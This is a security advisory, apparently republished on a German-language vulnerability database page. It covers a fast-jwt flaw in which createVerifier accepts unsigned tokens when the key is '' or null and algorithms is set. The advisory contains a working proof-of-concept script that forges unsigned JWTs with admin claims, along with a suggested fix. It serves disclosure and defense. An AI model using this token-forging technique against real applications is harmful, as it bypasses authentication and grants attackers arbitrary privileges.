fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
Summary
createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.
Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass prepareKeyOrSecret
createVerifier branches on typeof key:
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}
When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:
function prepareKeyOrSecret(key, isSecret) {
if (isSecret && key.length === 0) {
throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
}
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
B. Explicit algorithms keeps an allowlist active with no key
When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.
C. hasKey is false → missing signature is permitted
const hasKey = key instanceof Buffer ? key.length : !!key
if (hasKey && !signature) {
throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto
An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.
D. Signature check is gated on signature being truthy
if (signature && !verifySignature(header.alg, key, input, signature)) {
throw new TokenError(/* invalidSignature */)
}
Empty signature → condition is false → verifySignature is never called.
E. Signer / verifier asymmetry
createSigner({ key: '' })/key: null→ rejectedcreateVerifier({ key: async () => '' })→ rejected (GHSA empty-secret tests)createVerifier({ key: '' | null, algorithms: [...] })→ accepted, then verifies unsigned tokens
Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.
Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).
PoC
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')
function unsigned(alg, claims) {
const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
return `${h}.${p}.` // trailing dot = empty signature
}
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }
// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }
// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
catch (e) { console.log('non-empty key:', e.code) } // FAST_JWT_MISSING_SIGNATURE
try { createVerifier({ key: '' })(token) }
catch (e) { console.log('empty key, no algorithms:', e.code) } // FAST_JWT_INVALID_ALGORITHM
try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
catch (e) { console.log('empty Buffer:', e.code) } // FAST_JWT_INVALID_KEY
Expected: TokenError with code FAST_JWT_INVALID_KEY
Actual: payload returned with no signature check
Impact
Full authentication / authorization bypass. Any application that:
- Uses
createVerifierwithkey: ''orkey: null(common when a secret is read from an unset environment variable, e.g.process.env.JWT_SECRET || ''), and - Sets
algorithmsto a non-empty allowlist (a recommended security practice),
will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.
Suggested fix
In createVerifier, fail closed before binding the verifier:
if (keyType !== 'function') {
if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be null, empty, or a zero-length buffer.')
}
}
Also guard the combination explicitly:
if (!key && allowedAlgorithms.length > 0) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be falsy when algorithms is set.')
}
The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | fast-jwt | < 6.3.1 | 6.3.1 |
Verweise
- https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv
- https://github.com/nearform/fast-jwt/pull/649
- https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534
- https://github.com/nearform/fast-jwt
- https://github.com/nearform/fast-jwt/releases/tag/v6.3.1
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N- Schwäche (CWE)
CWE-20, CWE-347- Plattform
- npm
- Paket
fast-jwt- Veröffentlicht
- 08.10.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-8wpc-h4q6-8fxv - CC BY 4.0
Schwachstellenhistorie: fast-jwt
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 14
- Erste → letzte
- 11.2023 10.2026
- Ohne Fix
- 1
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 4
- Hoch 4
- Mittel 6
Veröffentlichungen pro Jahr
- 2023: 1
- 2024: 0
- 2025: 1
- 2026: 12
-
fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.